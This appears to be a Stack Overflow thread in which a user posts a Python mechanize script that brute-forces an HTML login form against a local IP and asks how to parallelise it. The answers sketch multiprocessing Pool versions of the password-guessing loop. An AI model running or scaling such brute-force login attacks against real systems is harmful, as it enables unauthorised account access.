0

I have a script that use python mechanize and bruteforce html form. This is a for loop that check every password from "PassList" and runs until it matches the current password by checking the redirected url. How can i implement multiprocessing here

for x in PasswordList:          
    br.form['password'] = ''.join(x)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

    if response.geturl()=="http://192.168.1.106/success.html":
        #url to which the page is redirected after login
        print "\n Correct password is ",''.join(x)
        break

2 Answers 2

3

I do hope this is not for malicious purposes.

I've never used python mechanize, but seeing as you have no answers I can share what I know, and you can modify it accordingly.

In general, it needs to be its own function, which you then call pool over. I dont know about your br object, but i would probably recommend having many of those objects to prevent any clashing. (Can try with the same br object tho, modify code accordingly)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]

from multiprocessing import Pool
from multiprocessing import cpu_count

def crackPassword(lst):
    br_obj = lst[0]
    password = lst[1]
    br.form['password'] = ''.join(password)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

 pool = Pool(cpu_count() * 2)
 crack_password = pool.map(crackPassword,list_of_br_and_passwords)
 pool.close()

Once again, this is not a full answer, just a general guideline on how to do multiprocessing

Sign up to request clarification or add additional context in comments.

2 Comments

I guess it's for not for malicious purposes, i mean, it's not sophisticated enough to be really effective, if the target has captcha it will not work.
thank you for ur response. This just for test purpose nothing malicious, here br = mechanize.Browser()
1
from multiprocessing import Pool

def process_bruteforce(PasswordList):
    <process>

if __name__ == '__main__':
    pool = Pool(processes=4)              # process per core
    is_connected = pool.map(process_bruteforce, PasswordList) 

I would try something like that

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.